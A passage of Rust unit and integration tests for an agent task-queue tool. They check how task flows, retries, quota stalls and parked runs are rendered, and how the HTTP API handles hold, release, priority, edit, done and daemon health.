10474        let f = task_flow(&t, &[], 5, Some(&o));
10475        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
10476        t.source = Source::Agent {
10477            run: "c1".to_owned(),
10478            node: crate::queue::CHAT_NODE.to_owned(),
10479        };
10480        let f = task_flow(&t, &[], 5, Some(&o));
10481        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
10482        assert_eq!(
10483            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
10484            ("chat", "origin")
10485        );
10486    }
10487
10488    #[test]
10489    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
10490        let mut p = parent_task();
10491        p.id = "a b/c".to_owned();
10492        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
10493        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
10494    }
10495
10496    #[test]
10497    fn flow_opens_with_the_chat_that_queued_the_task() {
10498        let mut t = flow_task(&[]);
10499        t.source = Source::Agent {
10500            run: "a b/c".to_owned(),
10501            node: crate::queue::CHAT_NODE.to_owned(),
10502        };
10503        let f = flow_for(&t, &[]);
10504        assert_eq!(f.nodes[0].key, "chat");
10505        assert_eq!(f.nodes[0].kind, "chat");
10506        assert_eq!(
10507            f.nodes[0].label,
10508            format!("Chat {}", crate::queue::short("a b/c"))
10509        );
10510        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
10511        assert_eq!(f.nodes[1].key, "start");
10512        assert_eq!(
10513            f.edges[0],
10514            FlowEdge {
10515                from: "chat".to_owned(),
10516                to: "start".to_owned(),
10517                label: "queued from chat".to_owned(),
10518                attempt: AttemptCost::None,
10519            }
10520        );
10521    }
10522
10523    #[test]
10524    fn flow_has_no_chat_box_for_other_sources() {
10525        for source in [
10526            Source::Human,
10527            Source::Issue {
10528                number: 3,
10529                repo: "o/r".to_owned(),
10530            },
10531            Source::Agent {
10532                run: "20260904-014455-ab12".to_owned(),
10533                node: "implement".to_owned(),
10534            },
10535        ] {
10536            let mut t = flow_task(&[]);
10537            t.source = source;
10538            let f = flow_for(&t, &[]);
10539            assert_eq!(f.nodes[0].key, "start");
10540            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
10541            assert!(f.edges.iter().all(|e| e.from != "chat"));
10542        }
10543    }
10544
10545    const FA: &str = "20260902-140501-aaaa";
10546    const FB: &str = "20260902-140502-bbbb";
10547
10548    #[test]
10549    fn flow_follows_blocked_retry_merged_to_done() {
10550        let mut t = flow_task(&[FA, FB]);
10551        t.status = TaskStatus::Done;
10552        let f = flow_for(
10553            &t,
10554            &[
10555                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
10556                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
10557            ],
10558        );
10559        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
10560        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
10561        assert_eq!(f.edges.len(), 3);
10562        assert_eq!(f.edges[0].label, "claimed");
10563        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
10564        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10565        assert_eq!(f.edges[2].label, "merged \u{2192} done");
10566        assert_eq!(
10567            f.nodes[2].href.as_deref(),
10568            Some("#/runs/20260902-140502-bbbb")
10569        );
10570        assert!(f.nodes[2].decided);
10571    }
10572
10573    #[test]
10574    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
10575        let quota = || {
10576            flow_run(RunStatus::Stalled, |s| {
10577                s.quota.push(crate::run::QuotaLoss {
10578                    seat: "judge-1".to_owned(),
10579                    node: "judge".to_owned(),
10580                    at: Timestamp::now(),
10581                    reset: None,
10582                })
10583            })
10584        };
10585        let mut t = flow_task(&[FA, FA]);
10586        t.status = TaskStatus::Queued;
10587        let f = flow_for(&t, &[(FA, Some(quota()))]);
10588        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
10589        assert_eq!(f.nodes[1].note, Some("interrupted"));
10590        assert_eq!(
10591            f.nodes[1].status, None,
10592            "no outcome copied onto an earlier pass"
10593        );
10594        assert_eq!(
10595            f.edges[1].attempt,
10596            AttemptCost::Unknown,
10597            "a resume does not prove the earlier pass was refunded"
10598        );
10599        assert!(f.edges[1].label.contains("resume the same run"));
10600        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
10601        assert_eq!(
10602            f.edges[2].label,
10603            "stalled after a resume, refund unknown \u{2192} queued"
10604        );
10605        assert!(!f.nodes[2].decided, "a stall is not a decision");
10606        assert_eq!(f.nodes[2].note, Some("no verdict"));
10607    }
10608
10609    #[test]
10610    fn flow_single_pass_quota_stall_is_refunded() {
10611        let t = flow_task(&[FA]);
10612        let f = flow_for(
10613            &t,
10614            &[(
10615                FA,
10616                Some(flow_run(RunStatus::Stalled, |s| {
10617                    s.quota.push(crate::run::QuotaLoss {
10618                        seat: "judge-1".to_owned(),
10619                        node: "judge".to_owned(),
10620                        at: Timestamp::now(),
10621                        reset: None,
10622                    })
10623                })),
10624            )],
10625        );
10626        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10627    }
10628
10629    #[test]
10630    fn flow_parked_refunds_and_stall_without_quota_spends() {
10631        let mut t = flow_task(&[FA]);
10632        t.status = TaskStatus::Queued;
10633        let f = flow_for(
10634            &t,
10635            &[(
10636                FA,
10637                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
10638            )],
10639        );
10640        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
10641        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10642        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
10643        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10644        assert!(!f.nodes[1].decided);
10645    }
10646
10647    #[test]
10648    fn flow_keeps_an_unreadable_run_as_its_own_node() {
10649        let t = flow_task(&[FA, FB]);
10650        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
10651        assert_eq!(f.nodes[1].note, Some("unreadable"));
10652        assert!(!f.nodes[1].readable);
10653        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
10654        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
10655    }
10656
10657    #[test]
10658    fn flow_names_the_branch_of_a_review_only_run() {
10659        let t = flow_task(&[FA]);
10660        let f = flow_for(
10661            &t,
10662            &[(
10663                FA,
10664                Some(flow_run(RunStatus::Merged, |s| {
10665                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
10666                })),
10667            )],
10668        );
10669        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
10670        assert_eq!(
10671            f.nodes[1].detail.as_deref(),
10672            Some("review-only run of branch magi/x/A")
10673        );
10674    }
10675
10676    #[test]
10677    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10678        let mut t = flow_task(&[FA]);
10679        t.status = TaskStatus::Held;
10680        let pr = crate::run::PrRecord {
10681            url: "https://example.test/pr/1".to_owned(),
10682            number: 1,
10683            state: "open".to_owned(),
10684            checks: "green".to_owned(),
10685            round: 0,
10686            rounds: 3,
10687            red_at_merge: Vec::new(),
10688        };
10689        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10690        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10691        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10692        t.status = TaskStatus::Done;
10693        let f = flow_for(&t, &[(FA, Some(blocked))]);
10694        assert_eq!(f.edges[1].label, "closed by hand: task is done");
10695    }
10696
10697    #[test]
10698    fn flow_with_no_runs_goes_from_queued_to_queued() {
10699        let t = flow_task(&[]);
10700        let f = flow_for(&t, &[]);
10701        assert_eq!(f.nodes.len(), 2);
10702        assert_eq!(f.edges.len(), 1);
10703        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10704        assert_eq!(f.edges[0].attempt, AttemptCost::None);
10705    }
10706
10707    /// A run parked mid-flight keeps a non-terminal status; the page must
10708    /// still say why it stopped and that the attempt came back.
10709    #[test]
10710    fn a_parked_non_terminal_run_is_explained_as_parked() {
10711        let mut s = RunState::new(
10712            PathBuf::from("/repo/magi"),
10713            "main".to_owned(),
10714            "0123456789abcdef".to_owned(),
10715            "Do it".to_owned(),
10716            Config::default(),
10717        );
10718        s.status = RunStatus::Implementing;
10719        s.parked = true;
10720        let task = Task::new(
10721            "t".to_owned(),
10722            "Do it".to_owned(),
10723            PathBuf::from("/repo/magi"),
10724            Source::Human,
10725        );
10726        let v = task_run_view(
10727            "20260902-140501-aaaa",
10728            Some(&s),
10729            RunSlot {
10730                n: 1,
10731                resumed: false,
10732                resumed_later: None,
10733                prior: None,
10734                last: true,
10735            },
10736            &task,
10737        );
10738        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10739    }
10740
10741    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10742        let mut s = flow_run(RunStatus::Implementing, edit);
10743        s.parked = false;
10744        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10745        task_run_view(
10746            "20260902-140501-aaaa",
10747            Some(&s),
10748            RunSlot {
10749                n: 1,
10750                resumed: false,
10751                resumed_later: Some(2),
10752                prior: None,
10753                last: false,
10754            },
10755            &task,
10756        )
10757    }
10758
10759    #[test]
10760    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10761        let v = earlier_pass_view(|_| {});
10762        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10763        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10764        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10765        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10766        assert_eq!(v.exit, RunExit::Interrupted);
10767        assert_eq!(v.attempt, AttemptCost::Unknown);
10768    }
10769
10770    #[test]
10771    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10772        let v = earlier_pass_view(|s| {
10773            s.quota.push(crate::run::QuotaLoss {
10774                seat: "judge-1".to_owned(),
10775                node: "judge".to_owned(),
10776                at: Timestamp::now(),
10777                reset: None,
10778            });
10779        });
10780        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10781        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10782        assert_eq!(v.attempt, AttemptCost::Unknown);
10783    }
10784
10785    #[test]
10786    fn the_current_pass_states_its_recorded_cause_and_cost() {
10787        let slot = || RunSlot {
10788            n: 1,
10789            resumed: false,
10790            resumed_later: None,
10791            prior: None,
10792            last: true,
10793        };
10794        let task = flow_task(&["20260902-140501-aaaa"]);
10795        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10796        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10797        assert_eq!(
10798            (v.exit, v.attempt),
10799            (RunExit::Parked, AttemptCost::Refunded)
10800        );
10801        let spent = flow_run(RunStatus::Blocked, |_| {});
10802        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10803        assert_eq!(v.attempt, AttemptCost::Spent);
10804        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10805    }
10806
10807    #[tokio::test]
10808    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10809        let f = Fixture::start().await;
10810        let queue = f.queue();
10811        let mut task = Task::new(
10812            "spent".to_owned(),
10813            "Try again".to_owned(),
10814            PathBuf::from("/repo/magi"),
10815            Source::Human,
10816        );
10817        task.start("20260902-140502-bbbb".to_owned());
10818        task.fail("agent gave up", 9);
10819        queue.put(&mut task).expect("file the task");
10820
10821        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10822        assert_eq!(held.status, 200);
10823        assert_eq!(held.json()["status_str"], "held");
10824
10825        let released = f
10826            .post(&format!("/api/queue/{}/release", task.id), None)
10827            .await;
10828        assert_eq!(released.status, 200);
10829        assert_eq!(released.json()["status_str"], "queued");
10830        assert_eq!(
10831            released.json()["attempts"],
10832            0,
10833            "release is a real second chance, not an instant re-hold"
10834        );
10835        assert_eq!(
10836            queue.get(&task.id).expect("reload").status,
10837            TaskStatus::Queued,
10838            "the change is on disk, not only in the reply"
10839        );
10840        assert!(
10841            !f.home
10842                .path()
10843                .join("queue")
10844                .join(format!("{}.lock", task.id))
10845                .exists(),
10846            "the claim the mutation took is released again"
10847        );
10848    }
10849
10850    #[tokio::test]
10851    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10852        let f = Fixture::start().await;
10853        let queue = f.queue();
10854        let mut task = Task::new(
10855            "busy".to_owned(),
10856            "Running right now".to_owned(),
10857            PathBuf::from("/repo/magi"),
10858            Source::Human,
10859        );
10860        queue.put(&mut task).expect("file the task");
10861        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10862
10863        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10864
10865        assert_eq!(res.status, 409);
10866        assert_eq!(
10867            queue.get(&task.id).expect("reload").status,
10868            TaskStatus::Queued,
10869            "the refused hold changed nothing"
10870        );
10871    }
10872
10873    #[tokio::test]
10874    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10875        let f = Fixture::start().await;
10876        let queue = f.queue();
10877        let mut task = Task::new(
10878            "waiting on the migration".to_owned(),
10879            "Do the thing".to_owned(),
10880            PathBuf::from("/repo/magi"),
10881            Source::Human,
10882        );
10883        queue.put(&mut task).expect("file the task");
10884
10885        let held = f
10886            .post(
10887                &format!("/api/queue/{}/hold", task.id),
10888                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10889            )
10890            .await;
10891        assert_eq!(held.status, 200, "{}", held.body);
10892        assert_eq!(held.json()["status_str"], "held");
10893        assert_eq!(
10894            held.json()["hold_reason"],
10895            "waiting for 20260101-000000-aaaa to land"
10896        );
10897
10898        let listed = f.get("/api/queue").await.json();
10899        assert_eq!(
10900            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10901            "the card reads the reason off the same list route"
10902        );
10903
10904        // A hold with no body at all must keep working - most holds have no
10905        // reason to give.
10906        let mut plain = Task::new(
10907            "no reason given".to_owned(),
10908            "Do another thing".to_owned(),
10909            PathBuf::from("/repo/magi"),
10910            Source::Human,
10911        );
10912        queue.put(&mut plain).expect("file the task");
10913        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10914        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10915        assert!(held_plain.json()["hold_reason"].is_null());
10916
10917        let released = f
10918            .post(&format!("/api/queue/{}/release", task.id), None)
10919            .await;
10920        assert_eq!(released.status, 200);
10921        assert!(
10922            released.json()["hold_reason"].is_null(),
10923            "a release must clear the reason so the next hold does not inherit it"
10924        );
10925    }
10926
10927    #[tokio::test]
10928    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10929        let f = Fixture::start().await;
10930        let queue = f.queue();
10931        let mut older = Task::new(
10932            "filed first".to_owned(),
10933            "x".to_owned(),
10934            PathBuf::from("/repo/magi"),
10935            Source::Human,
10936        );
10937        older.id = "20260101-000001-aaaa".to_owned();
10938        let mut newer = Task::new(
10939            "filed second".to_owned(),
10940            "x".to_owned(),
10941            PathBuf::from("/repo/magi"),
10942            Source::Human,
10943        );
10944        newer.id = "20260101-000002-bbbb".to_owned();
10945        queue.put(&mut older).expect("file older");
10946        queue.put(&mut newer).expect("file newer");
10947
10948        // Equal priority: the newer task leads, the same order the old
10949        // newest-first `list()` already gave every equal-priority queue.
10950        let before = f.get("/api/queue").await.json();
10951        assert_eq!(before[0]["id"], newer.id);
10952        assert_eq!(before[1]["id"], older.id);
10953
10954        // Raising the *older* task is the meaningful case: it can only lead
10955        // now because its priority says so, not because it happens to be
10956        // newest.
10957        let raised = f
10958            .post(
10959                &format!("/api/queue/{}/priority", older.id),
10960                Some(r#"{"priority":10}"#),
10961            )
10962            .await;
10963        assert_eq!(raised.status, 200, "{}", raised.body);
10964        assert_eq!(raised.json()["priority"], 10);
10965
10966        let after = f.get("/api/queue").await.json();
10967        let names: Vec<&str> = after
10968            .as_array()
10969            .unwrap()
10970            .iter()
10971            .map(|t| t["id"].as_str().unwrap())
10972            .collect();
10973        // Highest priority first, which is the order next_runnable and
10974        // `magi task list` both use - GET /api/queue must agree with it
10975        // immediately, not just once the loop claims the task.
10976        assert_eq!(names[0], older.id, "the raised task now sorts first");
10977    }
10978
10979    #[tokio::test]
10980    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10981        let f = Fixture::start().await;
10982        let queue = f.queue();
10983        let mut task = Task::new(
10984            "in flight".to_owned(),
10985            "x".to_owned(),
10986            PathBuf::from("/repo/magi"),
10987            Source::Human,
10988        );
10989        task.start("20260902-140502-bbbb".to_owned());
10990        queue.put(&mut task).expect("file the task");
10991
10992        let res = f
10993            .post(
10994                &format!("/api/queue/{}/priority", task.id),
10995                Some(r#"{"priority":9}"#),
10996            )
10997            .await;
10998        assert_eq!(res.status, 400, "{}", res.body);
10999        assert!(
11000            res.json()["error"]
11001                .as_str()
11002                .is_some_and(|e| e.contains("running")),
11003            "{}",
11004            res.body
11005        );
11006        assert_eq!(
11007            queue.get(&task.id).expect("reload").priority,
11008            0,
11009            "the refused write must not partially apply"
11010        );
11011    }
11012
11013    #[tokio::test]
11014    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
11015        let f = Fixture::start().await;
11016        let queue = f.queue();
11017        let mut task = Task::new(
11018            "old title".to_owned(),
11019            "old instruction".to_owned(),
11020            PathBuf::from("/repo/magi"),
11021            Source::Agent {
11022                run: "20260101-000000-beef".to_owned(),
11023                node: "implement".to_owned(),
11024            },
11025        );
11026        task.runs.push("20260101-000000-beef".to_owned());
11027        queue.put(&mut task).expect("file the task");
11028        let created_at = task.created_at;
11029
11030        let edited = f
11031            .post(
11032                &format!("/api/queue/{}/edit", task.id),
11033                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
11034            )
11035            .await;
11036        assert_eq!(edited.status, 200, "{}", edited.body);
11037        let body = edited.json();
11038        assert_eq!(body["title"], "new title");
11039        assert_eq!(body["instruction"], "new instruction");
11040        assert_eq!(body["id"], task.id, "editing must not mint a new id");
11041        assert_eq!(body["created_at"], created_at.to_string());
11042        assert_eq!(
11043            body["source"]["kind"], "agent",
11044            "editing a task an agent filed must not turn it human: {body}"
11045        );
11046        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
11047
11048        let reloaded = queue.get(&task.id).expect("reload");
11049        assert_eq!(reloaded.title, "new title");
11050        assert_eq!(reloaded.instruction, "new instruction");
11051    }
11052
11053    #[tokio::test]
11054    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
11055        // The judge is an agent now: a repo whose only agent answers
11056        // "duplicate" stands in for it, so the refusal is the judge's.
11057        let tmp = TempDir::new().expect("tempdir");
11058        let repo = tmp.path().join("repo");
11059        std::fs::create_dir_all(&repo).expect("repo dir");
11060        let judge = MOCK_AGENT_TOML.replace(
11061            "printf ok",
11062            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
11063        );
11064        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
11065        let f = Fixture::with_repo(repo.clone()).await;
11066        let queue = f.queue();
11067        let mut owner = Task::new(
11068            "owner".to_owned(),
11069            "review it".to_owned(),
11070            repo.clone(),
11071            Source::Human,
11072        );
11073        owner.review_branch = Some("magi/ab12/A".to_owned());
11074        queue.put(&mut owner).expect("file the owner");
11075        let mut task = Task::new(
11076            "draft".to_owned(),
11077            "old".to_owned(),
11078            repo.clone(),
11079            Source::Human,
11080        );
11081        queue.put(&mut task).expect("file the draft");
11082        let url = format!("/api/queue/{}/edit", task.id);
11083
11084        let refused = f
11085            .post(
11086                &url,
11087                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
11088            )
11089            .await;
11090        assert_eq!(refused.status, 409, "{}", refused.body);
11091        let msg = refused.json()["error"]
11092            .as_str()
11093            .unwrap_or_default()
11094            .to_owned();
11095        assert!(
11096            msg.contains("magi/ab12/A") && msg.contains("force"),
11097            "{msg}"
11098        );
11099        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
11100
11101        let forced = f
11102            .post(
11103                &url,
11104                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
11105            )
11106            .await;
11107        assert_eq!(forced.status, 200, "{}", forced.body);
11108    }
11109
11110    #[tokio::test]
11111    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
11112        let f = Fixture::start().await;
11113        let queue = f.queue();
11114        let mut task = Task::new(
11115            "in flight".to_owned(),
11116            "do not touch".to_owned(),
11117            PathBuf::from("/repo/magi"),
11118            Source::Human,
11119        );
11120        task.start("20260902-140502-bbbb".to_owned());
11121        queue.put(&mut task).expect("file the task");
11122
11123        let res = f
11124            .post(
11125                &format!("/api/queue/{}/edit", task.id),
11126                Some(r#"{"title":"x","instruction":"y"}"#),
11127            )
11128            .await;
11129        assert_eq!(res.status, 400, "{}", res.body);
11130        assert!(
11131            res.json()["error"]
11132                .as_str()
11133                .is_some_and(|e| e.contains("running")),
11134            "{}",
11135            res.body
11136        );
11137        assert_eq!(
11138            queue.get(&task.id).expect("reload").instruction,
11139            "do not touch",
11140            "the refused edit must not change the file"
11141        );
11142    }
11143
11144    #[tokio::test]
11145    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
11146        let f = Fixture::start().await;
11147        let queue = f.queue();
11148        let mut task = Task::new(
11149            "busy".to_owned(),
11150            "Running right now".to_owned(),
11151            PathBuf::from("/repo/magi"),
11152            Source::Human,
11153        );
11154        queue.put(&mut task).expect("file the task");
11155        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
11156
11157        let priority = f
11158            .post(
11159                &format!("/api/queue/{}/priority", task.id),
11160                Some(r#"{"priority":9}"#),
11161            )
11162            .await;
11163        assert_eq!(priority.status, 409, "{}", priority.body);
11164
11165        let edit = f
11166            .post(
11167                &format!("/api/queue/{}/edit", task.id),
11168                Some(r#"{"title":"x","instruction":"y"}"#),
11169            )
11170            .await;
11171        assert_eq!(edit.status, 409, "{}", edit.body);
11172    }
11173
11174    #[tokio::test]
11175    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
11176        let f = Fixture::start().await;
11177        let queue = f.queue();
11178        let mut task = Task::new(
11179            "shipped by hand".to_owned(),
11180            "merged outside the loop".to_owned(),
11181            PathBuf::from("/repo/magi"),
11182            Source::Agent {
11183                run: "20260101-000000-b455".to_owned(),
11184                node: "implement".to_owned(),
11185            },
11186        );
11187        task.runs.push("20260101-000000-b455".to_owned());
11188        task.runs.push("20260101-000000-9af4".to_owned());
11189        queue.put(&mut task).expect("file the task");
11190        let created_at = task.created_at;
11191
11192        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11193        assert_eq!(done.status, 200, "{}", done.body);
11194        assert_eq!(done.json()["status_str"], "done");
11195
11196        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
11197        assert_eq!(
11198            reloaded.runs,
11199            ["20260101-000000-b455", "20260101-000000-9af4"]
11200        );
11201        assert_eq!(
11202            reloaded.source,
11203            Source::Agent {
11204                run: "20260101-000000-b455".to_owned(),
11205                node: "implement".to_owned(),
11206            }
11207        );
11208        assert_eq!(reloaded.created_at, created_at);
11209    }
11210
11211    #[tokio::test]
11212    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
11213        // `done` is allowed on any status, including `held`, with no release
11214        // in between - so a task held for a reason and then closed directly
11215        // must not keep reading as "waiting on" it afterwards, on its card or
11216        // in `magi task show`.
11217        let f = Fixture::start().await;
11218        let queue = f.queue();
11219        let mut task = Task::new(
11220            "landed while held".to_owned(),
11221            "x".to_owned(),
11222            PathBuf::from("/repo/magi"),
11223            Source::Human,
11224        );
11225        task.hold_manual(Some("waiting on 3ed9".to_owned()));
11226        queue.put(&mut task).expect("file the held task");
11227
11228        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11229        assert_eq!(done.status, 200, "{}", done.body);
11230        assert_eq!(done.json()["status_str"], "done");
11231        assert!(
11232            done.json()["hold_reason"].is_null(),
11233            "a done task cannot still be waiting on something: {}",
11234            done.body
11235        );
11236    }
11237
11238    #[tokio::test]
11239    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
11240        // `queue_done` is the phone's way to close a task the loop never
11241        // settled itself - after confirming a manual GitHub merge, say - and
11242        // that is just as much "this task's story is over" as the loop's own
11243        // `Merged`/`Ready` path, so it must trigger the same cleanup.
11244        let f = Fixture::start().await;
11245        let queue = f.queue();
11246        let runs = f.runs();
11247        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
11248        // The last attempt has to have actually landed for the earlier one
11249        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
11250        // for the case where it didn't.
11251        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
11252
11253        let mut task = Task::new(
11254            "landed by hand".to_owned(),
11255            "x".to_owned(),
11256            PathBuf::from("/repo/magi"),
11257            Source::Human,
11258        );
11259        task.runs.push("20260101-000000-doa1".to_owned());
11260        task.runs.push("20260101-000000-doa2".to_owned());
11261        queue.put(&mut task).expect("file the task");
11262
11263        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11264        assert_eq!(done.status, 200, "{}", done.body);
11265
11266        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
11267            .expect("run still on disk under this fixture's own home");
11268        assert_eq!(
11269            reloaded_run.status,
11270            RunStatus::Superseded,
11271            "closing the task by hand must relabel the earlier blocked attempt exactly \
11272             like the loop's own settle path does"
11273        );
11274    }
11275
11276    #[tokio::test]
11277    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
11278        // Closing a task by hand is allowed from any status, including one
11279        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
11280        // manual merge the loop never watched, say. Nothing here is provably
11281        // why the task is done, so nothing earlier gets relabelled either.
11282        let f = Fixture::start().await;
11283        let queue = f.queue();
11284        let runs = f.runs();
11285        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
11286        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
11287
11288        let mut task = Task::new(
11289            "closed with nothing actually landed".to_owned(),
11290            "x".to_owned(),
11291            PathBuf::from("/repo/magi"),
11292            Source::Human,
11293        );
11294        task.runs.push("20260101-000000-dob1".to_owned());
11295        task.runs.push("20260101-000000-dob2".to_owned());
11296        queue.put(&mut task).expect("file the task");
11297
11298        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11299        assert_eq!(done.status, 200, "{}", done.body);
11300
11301        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
11302            .expect("run still on disk under this fixture's own home");
11303        assert_eq!(
11304            reloaded_run.status,
11305            RunStatus::Blocked,
11306            "the last recorded attempt never landed, so the earlier one must not be \
11307             relabelled as superseded by it"
11308        );
11309    }
11310
11311    #[tokio::test]
11312    async fn unknown_ids_are_json_not_found_on_both_stores() {
11313        let f = Fixture::start().await;
11314
11315        let run = f.get("/api/runs/nosuchrun").await;
11316        let task = f.post("/api/queue/nosuchtask/hold", None).await;
11317
11318        assert_eq!(run.status, 404);
11319        assert_eq!(task.status, 404);
11320        assert!(
11321            run.json()["error"]
11322                .as_str()
11323                .is_some_and(|e| e.contains("run")),
11324            "the error names what was not found: {}",
11325            run.body
11326        );
11327        assert!(
11328            task.json()["error"]
11329                .as_str()
11330                .is_some_and(|e| e.contains("task")),
11331            "the error names what was not found: {}",
11332            task.body
11333        );
11334    }
11335
11336    #[tokio::test]
11337    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
11338        let f = Fixture::start().await;
11339
11340        let missing = f.get("/api/health").await.json();
11341        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
11342
11343        write_daemon(
11344            f.home.path(),
11345            Timestamp::now() - jiff::SignedDuration::from_secs(60),
11346        );
11347        let stale = f.get("/api/health").await.json();
11348        assert_eq!(
11349            stale["daemon"]["running"], false,
11350            "a minute without a heartbeat is a dead daemon, not a busy one"
11351        );
11352        assert!(
11353            stale["daemon"]["stale_for_secs"]
11354                .as_i64()
11355                .is_some_and(|s| s >= 55),
11356            "staleness is reported so the UI can say how long: {stale}"
11357        );
11358
11359        write_daemon(f.home.path(), Timestamp::now());
11360        let fresh = f.get("/api/health").await.json();
11361        assert_eq!(fresh["daemon"]["running"], true);
11362        assert_eq!(fresh["daemon"]["idle"], false);
11363        assert_eq!(fresh["daemon"]["pid"], 4242);
11364        assert_eq!(fresh["daemon"]["completed"], 7);
11365        assert_eq!(
11366            fresh["daemon"]["current"][0]["task"],
11367            "20260902-140501-aaaa"
11368        );
11369        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
11370    }
11371
11372    #[tokio::test]
11373    async fn the_loop_is_not_running_until_something_starts_it() {
11374        let f = Fixture::start().await;
11375
11376        let view = f.get("/api/loop").await.json();
11377        assert_eq!(view["running"], false);
11378        assert_eq!(
11379            view["owned"], false,
11380            "nobody owns a loop that does not exist: {view}"
11381        );
11382        assert_eq!(view["stopping"], false);
11383        assert_eq!(view["last_error"], Value::Null);
11384        assert_eq!(view["daemon"]["running"], false);
11385        assert_eq!(
11386            view["repo"], "/repo/magi",
11387            "the repository a start would use, named before it is started"
11388        );
11389    }
11390
11391    #[tokio::test]
11392    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
11393        let f = Fixture::start().await;
11394
11395        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
